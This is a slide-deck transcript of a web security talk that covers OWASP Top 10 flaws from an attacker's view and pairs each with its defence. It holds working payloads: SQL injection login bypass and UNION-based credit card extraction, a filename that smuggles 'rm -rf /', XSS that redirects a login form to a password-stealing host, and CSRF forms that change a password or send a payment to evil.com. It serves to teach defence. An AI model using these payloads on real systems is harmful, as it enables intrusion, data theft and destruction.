The document discusses web application security vulnerabilities from an attacker's perspective, emphasizing the understanding and exploitation of SQL injection, XSS, and CSRF attacks. It outlines methods to protect against these vulnerabilities, including input filtering and using prepared statements. The examples provided highlight the real risks to web applications and illustrate the importance of security measures in development.

1. Hacking Your Way
To Better Security

2. Colin O’Dell
@colinodell
Lead Web Developer at Unleashed Technologies
PHP developer since 2002
league/commonmark maintainer
PHP 7 Migration Guide e-book author
php[world] 2015 CtF winner

3. Goals
Explore several top security vulnerabilities from the
perspective of an attacker.
1. Understand how to detect and exploit common
vulnerabilities
2. Learn how to protect against those vulnerabilities

4. Disclaimers
1.NEVER test systems that aren’t yours without
explicit permission.
2.Examples in this talk are fictional, but the
vulnerability behaviors shown are very real.

5. OWASP Top 10

6. OWASP Top 10
Regular publication by The Open Web Application
Security Project
Highlights the 10 most-critical web application
security risks

9. SQL Injection
Modifying SQL statements to:
Spoof identity
Tamper with data
Disclose hidden information

10. SQL Injection
Basics
$value = $_REQUEST['value'];
SELECT * FROM x WHERE y = '[MALICIOUS CODE HERE]' ";
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);

11. Username
Password
Log In
admin
password

12. Username
Password
Log In
admin
password'
Invalid username or password. Please double-check and try again.

13. Username
Password
Log In
admin
Unknown error.

14. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = 'password'';
$
$

15. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"password'" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = 'password'';
$
$
~~

16. Username
Password
Log In
admin
' test
Unknown error.

17. Username
Password
Log In
admin
Unknown error.

18. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
$
$

19. tail –n 1 /var/log/apache2/error.log
MySQL error: You have an error in your SQL syntax;
check the manual that corresponds to your MySQL
server version for the right syntax to use near
"' test" at line 1.
tail –n 1 /var/log/mysql/query.log
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
$
$
~~~~~~~~

20. ~~~~~~~~
SELECT * FROM users WHERE username = 'admin' AND
password = '' test';
SELECT * FROM users WHERE username = 'admin' AND
password = '';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR (something that is true);
SELECT * FROM users WHERE username = 'admin' AND
(true);
SELECT * FROM users WHERE username = 'admin';

21. SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test

22. SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' test ';
' test
~~~~~~~~~~~~~~~~~~~~

23. SELECT * FROM users WHERE username = 'admin' AND
password = ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = ' ';

24. SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ';
'
~~~~

25. SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' ' ';
' '
~~~~~~~~~~~~~~~~

26. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR ' ';
' OR '

27. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1 ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1 ' ';
' OR '1 '
~~~~

28. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1' ' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1' ' ';
' OR '1' '
~~~~~~~~~

29. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'=' ';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'=' ';
' OR '1'='

30. SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
SELECT * FROM users WHERE username = 'admin' AND
password = '' OR '1'='1';
' OR '1'='1

31. Username
Password
Log In
admin
' OR '1'='1
Unknown error.

32. Welcome Admin!
Admin Menu:
Give customer money
Take money away
Review credit card applications
Close accounts

33. Blind SQL Injection

34. Blind SQL Injection
Invalid username or password. Please double-check and try again.
Unknown error.
Valid query (empty result)
Invalid query
Welcome Admin! Valid query (with result)

35. ' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Log In
Real-Time MySQL View

36. ' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Error LogQuery Log
SELECT * FROM users WHERE username = 'admin' AND
password = '' AND (SELECT id FROM user LIMIT 1) = '';

37. ' AND (SELECT id FROM user LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Query Log
MySQL error: Unknown table 'user'.
Error Log

38. ' AND (SELECT id FROM users LIMIT 1) = '
Username
Password
admin
Unknown error.
Log In
Query Log
MySQL error: Unknown table 'user'.
Error Log

39. ' AND (SELECT id FROM users LIMIT 1) = '
Username
Password
admin
Invalid username or password. Please double-check and try again.
Log In

40. SQL Injection - Data Disclosure

41. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/123
SELECT * FROM books WHERE id = 123
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => 'The Great Gatsby',
'author' => 'F. Scott Fitzgerald',
'price' => 9.75
}

42. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999
SELECT * FROM books WHERE id = 99999
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
}

43. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/?????
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}

44. SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
Foo Bar 123
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Foo Bar 123
UNION

45. SQL UNION Query
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
Column 1 Column 2 Column 3
(SELECT) 1 1
Column 1 Column 2 Column 3
The Great Gatsby F. Scott Fitzgerald 9.75
(SELECT) 1 1
UNION

46. SQL UNION Query
Column 1 Column 2 Column 3
(empty)
Column 1 Column 2 Column 3
(SELECT) 1 1
Column 1 Column 2 Column 3
(SELECT) 1 1
UNION

47. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number FROM creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}

48. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = ?????
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0.00
}

49. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999 UNION
SELECT number AS 'title', 1 AS 'author', 1 AS
'price' FROM creditcards
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '',
'author' => '',
'price' => 0
}

50. SQL Injection - Data Disclosure
http://www.onlinebookstore.com/books/99999 UNION SELECT number AS 'title', 1 AS
'author', 1 AS 'price' FROM creditcards
SELECT * FROM books WHERE id = 99999 UNION
SELECT number AS 'title', 1 AS 'author', 1 AS
'price' FROM creditcards
$id = …;
$sql = "SELECT title, author, price FROM books
WHERE id = " . $id;
$data = $database->query($sql);
{
'title' => '4012-3456-7890-1234',
'author' => 1,
'price' => 1
}

51. Protecting Against
SQL Injection
$value = $_REQUEST['value'];
$sql = "SELECT * FROM x WHERE y = '$value' ";
$database->query($sql);

52. Protecting Against
SQL Injection
Block input with special
characters

53. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x WHERE y = '' OR '1' = '1'

54. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
$value = $_REQUEST['value'];
$escaped = mysqli_real_escape_string($value);
$sql = "SELECT * FROM x WHERE y = '$escaped' ";
$database->query($sql);
' OR '1' = '1 ' OR '1' = '1
mysqli_real_escape_string()
SELECT * FROM x WHERE y = '' OR '1' = '1'

55. Protecting Against
SQL Injection
Block input with special
characters
Escape user input
Use prepared statements
$mysqli = new mysqli("localhost", "user", "pass", "db");
$q = $mysqli->prepare("SELECT * FROM x WHERE y = '?' ");
$q->bind_param(1, $_REQUEST['value']);
$q->execute();
Native PHP:
● mysqli
● pdo_mysql
Frameworks / Libraries:
● Doctrine
● Eloquent
● Zend_Db

56. Other Types of Injection
NoSQL databases
OS Commands
LDAP Queries
SMTP Headers
$file = $_GET['filename'];
shell_exec("rm uploads/{$file}");
/rm.php?filename=foo.jpg+%26%26+rm+-rf+%2F
rm uploads/foo.jpg && rm -rf /

57. XSS
Cross-Site Scripting
Injecting code into the webpage
(for other users)
• Execute malicious scripts
• Hijack sessions
• Install malware
• Deface websites

58. XSS Attack
Basics $value = $_POST['value'];
$value = $rssFeed->first->title;
$value = db_fetch('SELECT value FROM table');
<?php echo $value ?>
Raw code/script
is injected onto a page

59. XSS – Cross-Site Scripting Basics
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>

60. XSS – Cross-Site Scripting
short.ly
Paste a URL here Shorten

61. XSS – Cross-Site Scripting
short.ly
http://www.colinodell.com Shorten

62. XSS – Cross-Site Scripting
short.ly
http://www.colinodell.com Shorten
Short URL: http://short.ly/b7fe9
Original URL: http://www.colinodell.com

63. XSS – Cross-Site Scripting
short.ly
Please wait while we redirect you to
http://www.colinodell.com

64. XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten

65. XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:
hello world!
OK
X

66. XSS – Cross-Site Scripting
short.ly
<script>alert('hello world!');</script> Shorten
Short URL: http://short.ly/3bs8a
Original URL:

67. <p>
Short URL:
<a href="…">http://short.ly/3bs8a</a>
</p>
<p>
Original URL:
<a href="…"><script>alert('hello world!');</script></a>
</p>

68. XSS – Cross-Site Scripting
short.ly
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten

69. XSS – Cross-Site Scripting
short.ly
<iframe src="https://www.youtube.com/embed/dQw4w9WgXcQ"> Shorten
Short URL: http://short.ly/3bs8a
Original URL:

70. XSS – Cross-Site Scripting
short.ly
Please wait while we redirect you to

71. XSS – Cross-Site Scripting
document.getElementById('login-form').action =
'http://malicious-site.com/steal-passwords.php';

72. Protecting Against
XSS Attacks
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo $value ?>

73. Protecting Against
XSS Attacks
• Filter user input
$value = strip_tags($_POST['value']);
$value = strip_tags(
db_fetch('SELECT value FROM table')
);
$value = strip_tags($rssFeed->first->title);
<?php echo $value ?>

74. Protecting Against
XSS Attacks
• Filter user input
• Escape user input
$value = htmlspecialchars($_POST['value']);
$value = htmlspecialchars(
db_fetch('SELECT value FROM table')
);
$value = htmlspecialchars($rssFeed->first->title);
<?php echo $value ?>
<script> &lt;script&gt;
htmlspecialchars()

75. Protecting Against
XSS Attacks
• Filter user input
• Escape user input
• Escape output
$value = $_POST['value'];
$value = db_fetch('SELECT value FROM table');
$value = $rssFeed->first->title;
<?php echo htmlspecialchars($value) ?>

76. Protecting Against
XSS Attacks
• Filter user input
• Escape user input
• Escape output
{{ some_variable }}
{{ some_variable|raw }}

77. CSRF
Cross-Site Request Forgery
Execute unwanted actions on
another site which user is logged in
to.
• Change password
• Transfer funds
• Anything the user can do

78. CSRF – Cross-Site Request Forgery
Hi Facebook! I am
colinodell and my
password is *****.
Welcome Colin!
Here’s your
news feed.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.

79. CSRF – Cross-Site Request Forgery
Hi other website!
Show me your
homepage.
Sure, here you go!
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>

80. CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>

81. CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Tell Facebook we want to
change our password to
hacked123
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.

82. CSRF – Cross-Site Request Forgery
<form id="evilform"
action="https://facebook.com/password.php"
method="post">
<input type="password" value="hacked123">
</form>
<script>
document.getElementById('evilform').submit();
</script>
Hi Facebook! Please
change my password
to hacked123.
Snipicons by Snip Master licensed under CC BY-NC 3.0.
Cookie icon by Daniele De Santis licensed under CC BY 3.0.
Hat image from http://www.yourdreamblog.com/wp-content/uploads/2013/04/blackhat.png
Logos are copyright of their respective owners.
Done!

83. CSRF – Cross-Site Request Forgery
short.ly
<img src="https://paypal.com/pay?email=me@evil.com&amt=9999"> Shorten

84. CSRF – Cross-Site Request Forgery
short.ly
Please wait while we redirect you to
X

85. Protecting Against
CSRF Attacks
Only use POST requests?

86. Protecting Against
CSRF Attacks
Only use POST requests?
NO!
POST requests are vulnerable too
Common Misconceptions:
“<img> tags can only make GET requests”
“If a user doesn’t click a form it won’t submit”

87. Protecting Against
CSRF Attacks
Only use POST requests?
Use a secret cookie?

88. Protecting Against
CSRF Attacks
Only use POST requests?
Use a secret cookie?
NO!
Cookies are sent on every
request.

89. Protecting Against
CSRF Attacks
Only use POST requests?
Use a secret cookie?
Use random CSRF tokens
YES!
<input type="hidden" name="token"
value="ao3i4yw90sae8rhsdrf">
1. Generate a random string per user.
2. Store it in their session.
3. Add to form as hidden field.
4. Compare submitted value to session
1. Same token? Proceed.
2. Different/missing? Reject the request.

90. Insecure
Direct Object
References
Access & manipulate objects you
shouldn’t have access to

91. Insecure Direct Object References

92. Insecure Direct Object References
Beverly Cooper

93. Insecure Direct Object References

94. Insecure Direct Object References

95. Insecure Direct Object References

96. Insecure Direct Object References

97. Protecting Against
Insecure Direct
Object References
Check permission on
data input
• URL / route parameters
• Form field inputs
• Basically anything that’s an ID
• If they don’t have permission,
show a 403 (or 404) page

98. Protecting Against
Insecure Direct
Object References
Check permission on
data input
Check permission on
data output
• Do they have permission to
access this object?
• Do they have permission to
even know this exists?
• This is not “security through
obscurity”

99. Sensitive Data
Exposure
Security
Misconfiguration
Components with
Known Vulnerabilities

100. http://www.example.com/CHANGELOG
http://www.example.com/composer.lock
http://www.example.com/.git/
http://www.example.com/.env
http://www.example.com/robots.txt
Sensitive Data Exposure

101. Sensitive Data Exposure - CHANGELOG

102. Sensitive Data Exposure – composer.lock

103. Sensitive Data Exposure – composer.lock

104. Sensitive Data Exposure – .git

105. Sensitive Data Exposure – robots.txt

106. Private information that is stored, transmitted, or backed-up in
clear text (or with weak encryption)
• Customer information
• Credit card numbers
• Credentials
Sensitive Data Exposure

107. Security Misconfiguration & Components with Known Vulnerabilities
Default accounts enabled; weak passwords
• admin / admin
Security configuration
• Does SSH grant root access?
• Are weak encryption keys used?
Out-of-date software
• Old versions with known issues
• Are the versions exposed?
• Unused software running (DROWN attack)

108. Components with Known Vulnerabilities

109. Components with Known Vulnerabilities

110. Components with Known Vulnerabilities

111. Protecting Against
Sensitive Data Exposure, Security
Mismanagement, and
Components with Known
Vulnerabilities
Keep software up-to-date
• Install critical updates immediately
• Install other updates regularly

112. Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
• Files which provide version numbers
• README, CHANGELOG, .git, composer.lock
• Database credentials & API keys
• Encryption keys

113. Protecting Against
Sensitive Data Exposure, Security
Misconfiguration, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
• Encrypt with a strong private key
• Encrypt backups and data-in-transit
• Use strong hashing techniques for
passwords

114. Protecting Against
Sensitive Data Exposure, Security
Mismanagement, and
Components with Known
Vulnerabilities
Keep software up-to-date
Keep sensitive data out
of web root
Use strong encryption
Test your systems
• Scan your systems with automated
tools
• Test critical components yourself
• Automated tests
• Manual tests

115. Next Steps
Test your own applications for vulnerabilities
Learn more about security & ethical hacking
Enter security competitions (like CtF)
Stay informed

116. Questions?

117. Thanks!
Slides & feedback: https://joind.in/talk/f7516
Colin O'Dell
@colinodell